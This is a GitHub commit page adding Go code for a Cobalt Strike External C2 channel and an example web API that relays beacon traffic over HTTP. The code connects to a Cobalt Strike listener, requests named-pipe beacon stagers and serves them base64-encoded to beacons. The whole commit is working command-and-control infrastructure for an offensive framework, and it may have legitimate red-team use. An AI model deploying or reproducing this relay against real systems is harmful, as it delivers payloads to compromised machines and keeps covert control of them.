-
Notifications
You must be signed in to change notification settings - Fork 49
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Adds go package for cs server communications. Also adds an example we…
…b api demo.
- Loading branch information
Showing
6 changed files
with
314 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
cmd/web/web |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
package externc2 | ||
|
||
import ( | ||
"fmt" | ||
|
||
"github.com/google/uuid" | ||
) | ||
|
||
// BeaconID is combination of the internal identifier and Cobalt Strike identifier. | ||
type BeaconID struct { | ||
CobaltStrikeID int | ||
InternalID string | ||
} | ||
|
||
// ToString returns this as a string. | ||
func (b *BeaconID) ToString() string { | ||
return fmt.Sprintf("%d_%s", b.CobaltStrikeID, b.InternalID) | ||
} | ||
|
||
// NewBeaconID returns a new BeaconID with the InternalID initialized. | ||
func NewBeaconID() (BeaconID, error) { | ||
var beaconID BeaconID | ||
u, err := uuid.NewRandom() | ||
if err != nil { | ||
return beaconID, err | ||
} | ||
beaconID.InternalID = u.String() | ||
return beaconID, nil | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
package channels | ||
|
||
import ( | ||
"encoding/base64" | ||
"encoding/binary" | ||
"fmt" | ||
"log" | ||
"net" | ||
|
||
"github.com/ryhanson/ExternalC2/go-external-c2" | ||
) | ||
|
||
// SocketChannel is a direct socket connection to the Cobalt Strike | ||
// External C2 server. | ||
type SocketChannel struct { | ||
Addr string | ||
Socket net.Conn | ||
Debug bool | ||
} | ||
|
||
// NewSocket creates a Socket using the specified ip and port. | ||
func NewSocket(addr string) (*SocketChannel, error) { | ||
return &SocketChannel{Addr: addr}, nil | ||
} | ||
|
||
// Connect creates the initial connection to the external listener. | ||
func (s *SocketChannel) Connect() error { | ||
socket, err := net.Dial("tcp", s.Addr) | ||
if err != nil { | ||
return err | ||
} | ||
s.Socket = socket | ||
return nil | ||
} | ||
|
||
// ReadFrame reads a frame from the CS server socket. | ||
func (s *SocketChannel) ReadFrame() ([]byte, int, error) { | ||
sizeBytes := make([]byte, 4) | ||
if _, err := s.Socket.Read(sizeBytes); err != nil { | ||
return nil, 0, err | ||
} | ||
size := binary.LittleEndian.Uint32(sizeBytes) | ||
if size > 1024*1024 { | ||
size = 1024 * 1024 | ||
} | ||
var total uint32 | ||
buff := make([]byte, size) | ||
for total < size { | ||
read, err := s.Socket.Read(buff[total:]) | ||
if err != nil { | ||
return nil, int(total), err | ||
} | ||
total += uint32(read) | ||
} | ||
if (size > 1 && size < 1024) && s.Debug { | ||
log.Printf("[+] Read frame: %s\n", base64.StdEncoding.EncodeToString(buff)) | ||
} | ||
return buff, int(total), nil | ||
} | ||
|
||
// SendFrame sends a frame to the CS server socket. | ||
func (s *SocketChannel) SendFrame(buffer []byte) (int, error) { | ||
length := len(buffer) | ||
if (length > 2 && length < 1024) && s.Debug { | ||
log.Printf("[+] Sending frame: %s\n", base64.StdEncoding.EncodeToString(buffer)) | ||
} | ||
sizeBytes := make([]byte, 4) | ||
binary.LittleEndian.PutUint32(sizeBytes, uint32(length)) | ||
if _, err := s.Socket.Write(sizeBytes); err != nil { | ||
return 0, err | ||
} | ||
x, err := s.Socket.Write(buffer) | ||
return x + 4, err | ||
} | ||
|
||
// ReadAndSendTo reads a frame from the socket and send it to the beacon channel | ||
func (s *SocketChannel) ReadAndSendTo(c2 externc2.IC2Channel) (bool, error) { | ||
buff, _, err := s.ReadFrame() | ||
if err != nil { | ||
return false, err | ||
} | ||
if len(buff) < 0 { | ||
return false, nil | ||
} | ||
if _, err := c2.SendFrame(buff); err != nil { | ||
return false, err | ||
} | ||
return true, nil | ||
} | ||
|
||
// Close closes the socket connection. | ||
func (s *SocketChannel) Close() { | ||
s.Socket.Close() | ||
} | ||
|
||
// Dispose closes the socket connection. | ||
func (s *SocketChannel) Dispose() { | ||
s.Close() | ||
} | ||
|
||
// IsConnected returns true if the underlying socket | ||
// has a connecteion. | ||
func (s *SocketChannel) IsConnected() bool { | ||
return s.Socket != nil | ||
} | ||
|
||
// GetStager requests an NamedPipe beacon from the Cobalt Strike server. | ||
func (s *SocketChannel) GetStager(pipeName string, is64Bit bool, taskWaitTime int) ([]byte, error) { | ||
if is64Bit { | ||
s.SendFrame([]byte("arch=x64")) | ||
} else { | ||
s.SendFrame([]byte("arch=x86")) | ||
} | ||
s.SendFrame([]byte("pipename=" + pipeName)) | ||
s.SendFrame([]byte(fmt.Sprintf("block=%d", taskWaitTime))) | ||
s.SendFrame([]byte("go")) | ||
stager, _, err := s.ReadFrame() | ||
return stager, err | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,141 @@ | ||
/*Example Web-API to demonstrate the capabilites of the Go/.NET ExternC2 packages*/ | ||
package main | ||
|
||
import ( | ||
"encoding/base64" | ||
"errors" | ||
"flag" | ||
"fmt" | ||
"io/ioutil" | ||
"log" | ||
"net/http" | ||
"strings" | ||
"sync" | ||
|
||
"github.com/gorilla/mux" | ||
"github.com/ryhanson/ExternalC2/go-external-c2" | ||
"github.com/ryhanson/ExternalC2/go-external-c2/channels" | ||
) | ||
|
||
var idHeader = "X-C2-Beacon" | ||
|
||
// App holds contextual information about the running app. | ||
type App struct { | ||
CSAddr string | ||
Manager sync.Map | ||
} | ||
|
||
func (app *App) getBeacon(r *http.Request) (string, *channels.SocketChannel, error) { | ||
header := r.Header.Get(idHeader) | ||
socket, ok := app.Manager.Load(header) | ||
if !ok { | ||
return "", nil, errors.New("beacon not found") | ||
} | ||
return header, socket.(*channels.SocketChannel), nil | ||
} | ||
|
||
// Options grabs web channel options and creates a new channel for a beacon. | ||
func (app *App) Options(w http.ResponseWriter, r *http.Request) { | ||
log.Println("[+] OPTIONS: Creating new beacon") | ||
socket, err := channels.NewSocket(app.CSAddr) | ||
if err != nil { | ||
log.Printf("[!] Error while trying to create the Socket: %s\n", err.Error()) | ||
return | ||
} | ||
socket.Debug = true | ||
if err := socket.Connect(); err != nil { | ||
log.Printf("[!] Error while trying to connect to the CS server: %s\n", err.Error()) | ||
return | ||
} | ||
beaconID, err := externc2.NewBeaconID() | ||
if err != nil { | ||
log.Printf("[!] Error while tring to generate the beacon id: %s\n", err.Error()) | ||
return | ||
} | ||
app.Manager.Store(beaconID.InternalID, socket) | ||
log.Printf("[+] ID will be set to %s\n", beaconID.InternalID) | ||
w.Header().Add("X-Id-Header", idHeader) | ||
w.Header().Add("X-Identifier", beaconID.InternalID) | ||
} | ||
|
||
// Get salls the socket channel's ReadFrame method. | ||
func (app *App) Get(w http.ResponseWriter, r *http.Request) { | ||
id, s, err := app.getBeacon(r) | ||
if err != nil { | ||
log.Printf("[!] Error during getBeacon: %s\n", err.Error()) | ||
return | ||
} | ||
log.Printf("[+] GET: Frame to beacon id: %s\n", id) | ||
buff, _, err := s.ReadFrame() | ||
if err != nil { | ||
log.Printf("[!] Error during ReadFrame: %s\n", err.Error()) | ||
return | ||
} | ||
if s.IsConnected() { | ||
encoder := base64.NewEncoder(base64.StdEncoding, w) | ||
encoder.Write(buff) | ||
encoder.Close() | ||
} else { | ||
fmt.Printf("[!] Socket is no longer connected") | ||
w.Write([]byte("")) | ||
} | ||
} | ||
|
||
// Put calls the socket channel's SendFrame method. | ||
func (app *App) Put(w http.ResponseWriter, r *http.Request) { | ||
decoder := base64.NewDecoder(base64.StdEncoding, r.Body) | ||
id, s, err := app.getBeacon(r) | ||
if err != nil { | ||
log.Printf("[!] Error during getBeacon: %s\n", err.Error()) | ||
return | ||
} | ||
log.Printf("[+] PUT: Frame from beacon id: %s\n", id) | ||
buff, err := ioutil.ReadAll(decoder) | ||
if err != nil { | ||
log.Printf("[!] Error decoding base64 payload: %s\n", err.Error()) | ||
return | ||
} | ||
if _, err := s.SendFrame(buff); err != nil { | ||
log.Printf("[!] Error sending frame: %s\n", err.Error()) | ||
return | ||
} | ||
} | ||
|
||
// Post calls the socket channel's GetStager method. | ||
func (app *App) Post(w http.ResponseWriter, r *http.Request) { | ||
is64Bit := strings.Contains(r.UserAgent(), "x64") | ||
id, s, err := app.getBeacon(r) | ||
if err != nil { | ||
log.Printf("[!] Error during getBeacon: %s\n", err.Error()) | ||
return | ||
} | ||
log.Printf("[+] POST: Request for stager from beacon id: %s\n", id) | ||
|
||
stager, err := s.GetStager(id, is64Bit, 100) | ||
if err != nil { | ||
log.Printf("[!] Error during GetStager: %s\n", err.Error()) | ||
return | ||
} | ||
encoder := base64.NewEncoder(base64.StdEncoding, w) | ||
encoder.Write(stager) | ||
encoder.Close() | ||
} | ||
|
||
func main() { | ||
listenAddr := flag.String("listen-addr", ":8888", "ip:port for the web server to listen on") | ||
csAddr := flag.String("cs-addr", "", "ip:port of the cs listener") | ||
flag.Parse() | ||
if *csAddr == "" { | ||
log.Fatal("You must provide a valid value for csAddr. Example: 127.0.0.1:2222.") | ||
} | ||
r := mux.NewRouter() | ||
app := &App{ | ||
CSAddr: *csAddr, | ||
} | ||
r.HandleFunc("/beacon", app.Options).Methods("OPTIONS") | ||
r.HandleFunc("/beacon", app.Get).Methods("GET") | ||
r.HandleFunc("/beacon", app.Put).Methods("PUT") | ||
r.HandleFunc("/beacon", app.Post).Methods("POST") | ||
http.Handle("/", r) | ||
log.Fatal(http.ListenAndServe(*listenAddr, nil)) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
package externc2 | ||
|
||
// IC2Channel is used to communicate with the beacon | ||
// and server protocols. | ||
type IC2Channel interface { | ||
Connect() error | ||
IsConnected() bool | ||
Close() | ||
ReadFrame() ([]byte, int, error) | ||
SendFrame(buffer []byte) (int, error) | ||
ReadAndSendTo(c2 IC2Channel) | ||
GetStager(pipeName string, is64Bit bool, taskWaitTime int) ([]byte, error) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
package externc2 | ||
|
||
// IC2Connector is used to connect two IC2Channels. | ||
type IC2Connector interface { | ||
Started() bool | ||
BeaconChannel() IC2Channel | ||
ServerChannel() IC2Channel | ||
Initialize() bool | ||
Go() | ||
Stop() | ||
} |